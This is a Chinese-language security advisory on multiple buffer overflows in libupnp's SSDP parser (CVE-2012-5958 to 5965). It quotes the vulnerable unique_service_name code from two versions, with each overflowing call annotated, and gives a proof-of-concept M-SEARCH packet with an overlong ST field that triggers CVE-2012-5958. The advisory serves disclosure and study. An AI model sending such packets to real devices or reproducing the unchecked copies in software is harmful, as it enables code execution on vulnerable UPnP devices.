libupnp多个缓冲区溢出漏洞

发布日期:2013-01-29
更新日期:2013-01-31

受影响系统:
sourceforge libupnp
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 57602
 CVE(CAN) ID: CVE-2012-5958,CVE-2012-5959,CVE-2012-5960,CVE-2012-5961,CVE-2012-5962,CVE-2012-5963,CVE-2012-5964,CVE-2012-5965
 
libupnp是UPnP设备可移植的SDK,提供了API和开源代码。
 
libupnp 1.6.18之前版本SSDP解析模块中的unique_service_name函数没有对数据执行正确的边界检查而存在多个缓冲区溢出漏洞,攻击者可利用这些漏洞在受影响设备内执行任意代码。
 
<*来源:HD Moore
 
  链接:https://community.rapid7.com/docs/DOC-2150
 *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
metasploit提供了以下漏洞信息及测试方法
 
------------------------------------
 问题代码
 ------------------------------------
 
// version 1.3.1 of the Portable SDK for UPnP Devices
 // upnp/src/ssdp/ssdp_server.c
 // cmd变量接收外部输入
 // 结构体Evt包含多个固定长度的缓冲区
 int unique_service_name( IN char *cmd, IN SsdpEvent * Evt ) {
    char *TempPtr, TempBuf[COMMAND_LEN], *Ptr, *ptr1, *ptr2, *ptr3;
    int CommandFound = 0;
    if( ( TempPtr = strstr( cmd, "uuid:schemas" ) ) != NULL )
    {
        ptr1 = strstr( cmd, ":device" );
        if( ptr1 != NULL ) {
            ptr2 = strstr( ptr1 + 1, ":" );
        } else {
            return -1;
        }
        if( ptr2 != NULL ) {
            ptr3 = strstr( ptr2 + 1, ":" );
        } else {
            return -1;
        } if( ptr3 != NULL ) {
            sprintf( Evt->UDN, "uuid:%s", ptr3 + 1 );        // CVE-2012-5961
        } else {
            return -1;
        }
        ptr1 = strstr( cmd, ":" );
        if( ptr1 != NULL ) {
            strncpy( TempBuf, ptr1, ptr3 - ptr1 );            // CVE-2012-5958
            TempBuf[ptr3 - ptr1] = '\0';
            sprintf( Evt->DeviceType, "urn%s", TempBuf );    // CVE-2012-5962
        } else {
            return -1;
        }
        return 0;
    }
    if( ( TempPtr = strstr( cmd, "uuid" ) ) != NULL )
    {
        //printf("cmd = %s\n",cmd);
        if( ( Ptr = strstr( cmd, "::" ) ) != NULL ) {
            strncpy( Evt->UDN, TempPtr, Ptr - TempPtr );    // CVE-2012-5959
            Evt->UDN[Ptr - TempPtr] = '\0';
        } else {
            strcpy( Evt->UDN, TempPtr );                    // CVE-2012-5963
        }
        CommandFound = 1;
    }
    if( strstr( cmd, "urn:" ) != NULL && strstr( cmd, ":service:" ) != NULL ) {
        if( ( TempPtr = strstr( cmd, "urn" ) ) != NULL ) {
            strcpy( Evt->ServiceType, TempPtr );            // CVE-2012-5964
            CommandFound = 1;
        }
    }
    if( strstr( cmd, "urn:" ) != NULL && strstr( cmd, ":device:" ) != NULL ) {
        if( ( TempPtr = strstr( cmd, "urn" ) ) != NULL )
        {
            strcpy( Evt->DeviceType, TempPtr );            // CVE-2012-5965
            CommandFound = 1;
        }
    }
    if( CommandFound == 0 )
    {
        return -1;
    }
    return 0;
}
 
// version 1.6.17
 // cmd变量接收外部输入
 // 结构体Evt包含多个固定长度的缓冲区
 int unique_service_name(char *cmd, SsdpEvent *Evt)
{
    char TempBuf[COMMAND_LEN];
    char *TempPtr = NULL;
    char *Ptr = NULL;
    char *ptr1 = NULL;
    char *ptr2 = NULL;
    char *ptr3 = NULL;
    int CommandFound = 0;
    size_t n = (size_t)0;
    if (strstr(cmd, "uuid:schemas") != NULL)
    {
        ptr1 = strstr(cmd, ":device");
        if (ptr1 != NULL)
            ptr2 = strstr(ptr1 + 1, ":");
        else
            return -1;
        if (ptr2 != NULL)
            ptr3 = strstr(ptr2 + 1, ":");
        else
            return -1;
        if (ptr3 != NULL)
        {
            if (strlen("uuid:") + strlen(ptr3 + 1) >= sizeof(Evt->UDN))
                return -1;
            snprintf(Evt->UDN, sizeof(Evt->UDN), "uuid:%s", ptr3 + 1);
        }
        else
            return -1;
        ptr1 = strstr(cmd, ":");
        if (ptr1 != NULL)
        {
            n = (size_t)ptr3 - (size_t)ptr1;
            strncpy(TempBuf, ptr1, n);                            // CVE-2012-5958
            TempBuf[n] = '\0';
            if (strlen("urn") + strlen(TempBuf) >= sizeof(Evt->DeviceType))
                return -1;
            snprintf(Evt->DeviceType, sizeof(Evt->DeviceType), "urn%s", TempBuf);
        }
        else
            return -1;
        return 0;
    }
    if ((TempPtr = strstr(cmd, "uuid")) != NULL)
    {
        if ((Ptr = strstr(cmd, "::")) != NULL)
        {
            n = (size_t)Ptr - (size_t)TempPtr;
            strncpy(Evt->UDN, TempPtr, n);                        // CVE-2012-5959
            Evt->UDN[n] = '\0';
        }
        else
        {
            memset(Evt->UDN, 0, sizeof(Evt->UDN));
            strncpy(Evt->UDN, TempPtr, sizeof(Evt->UDN) - 1);
        }
        CommandFound = 1;
    }
    if (strstr(cmd, "urn:") != NULL && strstr(cmd, ":service:") != NULL)
    {
        if ((TempPtr = strstr(cmd, "urn")) != NULL)
        {
            memset(Evt->ServiceType, 0, sizeof(Evt->ServiceType));
            strncpy(Evt->ServiceType, TempPtr, sizeof(Evt->ServiceType) - 1);
            CommandFound = 1;
        }
    }
    if (strstr(cmd, "urn:") != NULL && strstr(cmd, ":device:") != NULL)
    {
        if ((TempPtr = strstr(cmd, "urn")) != NULL)
        {
            memset(Evt->DeviceType, 0, sizeof(Evt->DeviceType));
            strncpy(Evt->DeviceType, TempPtr, sizeof(Evt->DeviceType) - 1);
            CommandFound = 1;
        }
    }
    if ((TempPtr = strstr(cmd, "::upnp:rootdevice")) != NULL)
    {
        /* Everything before "::upnp::rootdevice" is the UDN. */
        if (TempPtr != cmd)
        {
            n = (size_t)TempPtr - (size_t)cmd;
            strncpy(Evt->UDN, cmd, n);                            // CVE-2012-5960
            Evt->UDN[n] = 0;
            CommandFound = 1;
        }
    }
    if (CommandFound == 0)
        return -1;
    return 0;
}
 
------------------------------------
 POC of CVE-2012-5958
 可发送下述请求包触发CVE-2012-5958
 ------------------------------------
 
M-SEARCH * HTTP/1.1
 Host:239.255.255.250:1900
ST:uuid:schemas:device:AAAA[…]AAAA:anything
Man:"ssdp:discover"
MX:3

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wyzwdp.html